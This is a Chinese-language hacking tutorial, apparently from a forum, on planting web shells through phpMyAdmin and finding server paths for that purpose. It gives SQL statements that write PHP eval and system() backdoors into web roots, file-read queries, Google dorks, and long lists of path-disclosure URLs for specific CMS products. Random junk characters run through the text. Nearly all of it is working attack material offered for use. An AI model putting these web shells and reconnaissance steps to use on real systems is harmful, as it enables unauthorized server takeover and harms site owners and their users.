phpmyadmin后台拿shell

admin

方法一：
. g+ \4 Y  Q7 b  d* |+ s4 lCREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL );
INSERT INTO `mysql`.`xiaoma` (`xiaoma1` )VALUES ('<?php @eval($_POST[xiaoma])?>');
; b: }# f9 ~; E" {4 {: j" a! I7 hSELECT xiaomaFROM study INTO OUTFILE 'E:/wamp/www/7.php';
+ U! V' v; ^6 }7 W----以上同时执行，在数据库: mysql 下创建一个表名为：xiaoma，字段为xiaoma1，导出到E:/wamp/www/7.php
一句话连接密码：xiaoma

方法二：
, J- a4 N2 r$ G3 e Create TABLE xiaoma (xiaoma1 text NOT NULL);
$ C1 P- }( Q0 E Insert INTO xiaoma (xiaoma1) VALUES('<?php eval($_POST[xiaoma])?>');
7 N6 C% c* n* a! e& V2 Z' @: w' D select xiaoma1 from xiaoma into outfile 'E:/wamp/www/7.php';
Drop TABLE IF EXISTS xiaoma;

方法三：
- X1 V; T: U3 n
1 q1 a& q2 }3 m读取文件内容：    select load_file('E:/xamp/www/s.php');

写一句话：select '<?php @eval($_POST[cmd])?>'INTO OUTFILE 'E:/xamp/www/xiaoma.php'

# X3 ~# i# p1 Z5 jcmd执行权限：select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'
! b; m; e) G! ~& `# b' }/ s1 W: {
1 V: W- i8 V6 J, A" f
" z+ P. `5 @/ R. u2 \方法四：
4 t+ F/ Q- n6 b; x6 M: B$ R  K select load_file('E:/xamp/www/xiaoma.php');
" y. l" F6 [2 [  z
/ a0 ]. i5 {# l" J select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'
2 f: M5 w; Y& V! i 然后访问网站目录：http://www.xxxx.com/xiaoma.php?cmd=dir

  f) K3 T2 ^8 ?  c# r: p8 J



0 d* m6 D$ @) ~2 I+ zphp爆路径方法收集 ：



) C+ T8 C' k* m  m$ T: c1 }
1、单引号爆路径
说明：
直接在URL后面加单引号，要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。
4 N* q9 _; P  }www.xxx.com/news.php?id=149′

2、错误参数值爆路径
说明：
5 e6 B! g  A9 G3 [" P将要提交的参数值改成错误值，比如-1。-99999单引号被过滤时不妨试试。
www.xxx.com/researcharchive.php?id=-1

8 E( M% S$ T) t2 c3、Google爆路径
说明：
6 T8 e/ r) E! o- [结合关键字和site语法搜索出错页面的网页快照，常见关键字有warning和fatal error。注意，如果目标站点是二级域名，site接的是其对应的顶级域名，这样得到的信息要多得多。
Site:xxx.edu.tw warning
Site:xxx.com.tw “fatal error”

4、测试文件爆路径
, \8 t# P' k1 c- k/ W5 y4 A+ G说明：
很多网站的根目录下都存在测试文件，脚本代码通常都是phpinfo()。
8 q. T* O# \6 ?; y9 o* ~www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
8 y! _- U8 }% d( Z# s; f: cwww.xxx.com/phpinfo.php
& f/ R6 e; J5 V  b0 g. jwww.xxx.com/php_info.php
www.xxx.com/1.php
' ~/ R2 r) b# p) F
! ^; D4 [: l% c" P' a5、phpmyadmin爆路径
说明：
4 o% v; p6 e# e1 t( b# t一旦找到phpmyadmin的管理页面，再访问该目录下的某些特定文件，就很有可能爆出物理路径。至于phpmyadmin的地址可以用wwwscan这类的工具去扫，也可以选择google。PS：有些BT网站会写成phpMyAdmin。
1. /phpmyadmin/libraries/lect_lang.lib.php
- F' z- L, _8 q8 s8 a8 x7 d; X* P2./phpMyAdmin/index.php?lang[]=1
3. /phpMyAdmin/phpinfo.php
9 K( J: d) _- F) c: w7 f4. load_file()
; n9 \3 x- O+ ^  L5./phpmyadmin/themes/darkblue_orange/layout.inc.php
' t% z1 U* m5 g( z9 L6./phpmyadmin/libraries/select_lang.lib.php
7./phpmyadmin/libraries/lect_lang.lib.php
8./phpmyadmin/libraries/mcrypt.lib.php

/ g7 @" t' P# r# }6、配置文件找路径
6 F$ o! @9 s8 M% r5 V; I1 b说明：
如果注入点有文件读取权限，就可以手工load_file或工具读取配置文件，再从中寻找路径信息（一般在文件末尾）。各平台下Web服务器和PHP的配置文件默认路径可以上网查，这里列举常见的几个。
- i3 Q; a" b! o. e7 c
; `( W3 ]1 }2 }& e1 \) iWindows:
c:\windows\php.ini                                    php配置文件
c:\windows\system32\inetsrv\MetaBase.xml              IIS虚拟主机配置文件

0 I/ V1 \! B) C6 l% VLinux:
# |3 b+ P' f, f/etc/php.ini                                           php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf                             Apache配置文件
6 D$ ?( p/ v3 i7 L+ ^* z/usr/local/apache/conf/httpd.conf
) N+ T" N9 |/ F$ c: @/ H/ h/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf         虚拟目录配置文件
0 b! O# ~* t: [0 k
7 m9 {1 f. y7 i1 b9 W1 R7、nginx文件类型错误解析爆路径
% q2 H, Y, L8 r/ f: M. w) e说明：
# Q: w, I+ h6 D2 H( ~( P9 R5 Z4 P4 N3 p这是昨天无意中发现的方法，当然要求Web服务器是nginx，且存在文件类型解析漏洞。有时在图片地址后加/x.php，该图片不但会被当作php文件执行，还有可能爆出物理路径。
http://www.xxx.com/top.jpg/x.php
7 p8 ~  [3 [7 H) c
8、其他
dedecms
/member/templets/menulit.php
plus/paycenter/alipay/return_url.php
plus/paycenter/cbpayment/autoreceive.php
paycenter/nps/config_pay_nps.php
0 C9 L7 ?5 l2 e* r, uplus/task/dede-maketimehtml.php
( T. k/ j. n+ h  I/ P' l  `* D/ D2 yplus/task/dede-optimize-table.php
4 v) V. U% H5 U3 v; C$ p! K+ B+ Kplus/task/dede-upcache.php

WP
wp-admin/includes/file.php
wp-content/themes/baiaogu-seo/footer.php

& b! Z3 ]- g: \! mecshop商城系统暴路径漏洞文件
0 M0 m8 p8 B- Y1 E: {. i/api/cron.php
/wap/goods.php
/temp/compiled/ur_here.lbi.php
" `# N, O. ?9 s; {* B% c) I/temp/compiled/pages.lbi.php
% g- X0 d4 s3 A/ p- C9 {* C9 v/temp/compiled/user_transaction.dwt.php
5 q* e- }. Q! T' ^2 x% [/temp/compiled/history.lbi.php
/temp/compiled/page_footer.lbi.php
/temp/compiled/goods.dwt.php
0 f2 v, B% [6 A: }8 x- P& U/temp/compiled/user_clips.dwt.php
4 e) [# E8 m9 X/temp/compiled/goods_article.lbi.php
/temp/compiled/comments_list.lbi.php
1 ?  @+ F# Q" x" B/temp/compiled/recommend_promotion.lbi.php
6 H+ D+ \, L$ X, u/temp/compiled/search.dwt.php
/temp/compiled/category_tree.lbi.php
/temp/compiled/user_passport.dwt.php
" q# g: D5 ]# u/temp/compiled/promotion_info.lbi.php
! _3 @, @' H2 w, Z' d) J/temp/compiled/user_menu.lbi.php
4 l' y+ V/ R3 A+ N% ~/temp/compiled/message.dwt.php
4 C% \: q# d/ V9 Z8 [/temp/compiled/admin/pagefooter.htm.php
/temp/compiled/admin/page.htm.php
, K2 Y8 @1 X5 C( i+ Z/temp/compiled/admin/start.htm.php
/temp/compiled/admin/goods_search.htm.php
/temp/compiled/admin/index.htm.php
/temp/compiled/admin/order_list.htm.php
/temp/compiled/admin/menu.htm.php
/temp/compiled/admin/login.htm.php
/temp/compiled/admin/message.htm.php
/temp/compiled/admin/goods_list.htm.php
/temp/compiled/admin/pageheader.htm.php
/temp/compiled/admin/top.htm.php
/temp/compiled/top10.lbi.php
+ U' g  Y$ M8 q+ J/ e/temp/compiled/member_info.lbi.php
/temp/compiled/bought_goods.lbi.php
/temp/compiled/goods_related.lbi.php
/temp/compiled/page_header.lbi.php
/temp/compiled/goods_script.html.php
/temp/compiled/index.dwt.php
/temp/compiled/goods_fittings.lbi.php
1 W! q% |( \9 ^- M+ H/temp/compiled/myship.dwt.php
/temp/compiled/brands.lbi.php
/temp/compiled/help.lbi.php
- {2 q# U0 H9 e) a' G/temp/compiled/goods_gallery.lbi.php
! E" @3 k* N3 U/temp/compiled/comments.lbi.php
4 t2 @* ~. J) T9 f% [# }/temp/compiled/myship.lbi.php
/includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php
; \. o  c: a  N  @" i! f& U3 L/includes/modules/cron/auto_manage.php
/includes/modules/cron/ipdel.php
; V0 X/ B- q3 t: }$ Q+ y1 a
ucenter爆路径
; X6 h3 k) @2 qucenter\control\admin\db.php

7 I8 I& p# F6 e- p, [; Q+ ~0 \DZbbs
% H' t: m/ k8 X/ @1 s% i: Omanyou/admincp.php?my_suffix=%0A%0DTOBY57
" l0 P- s$ ^" H$ ~% ~
5 y. F, j9 s; G  \8 d  A; hz-blog
' D9 N7 w" }- z5 f3 _) C4 P; R+ _admin/FCKeditor/editor/dialog/fck%5Fspellerpages/spellerpages/server%2Dscripts/spellchecker.php
/ m5 _3 o. c2 L, i0 k3 l" a
0 i9 [7 Y' G& Q: a/ x0 Q) Iphp168爆路径
1 c' j1 N- ?7 l. z1 R0 I7 Gadmin/inc/hack/count.php?job=list
' T+ I! @2 T& {admin/inc/hack/search.php?job=getcode
admin/inc/ajax/bencandy.php?job=do
& u% B) ?7 x5 B! c9 M( h7 icache/MysqlTime.txt

PHPcms2008-sp4
注册用户登陆后访问
phpcms/corpandresize/process.php?pic=../images/logo.gif

( J# k# s7 x2 q* Bbo-blog
PoC:
/go.php/<[evil code]
1 b2 k: R2 ]  |8 x4 v% A/ VCMSeasy爆网站路径漏洞
漏洞出现在menu_top.php这个文件中
6 Z' `& x) ~( R% n0 o! ]3 g* F, {' glib/mods/celive/menu_top.php
/lib/default/ballot_act.php
lib/default/special_act.php

' {4 D$ K+ K9 n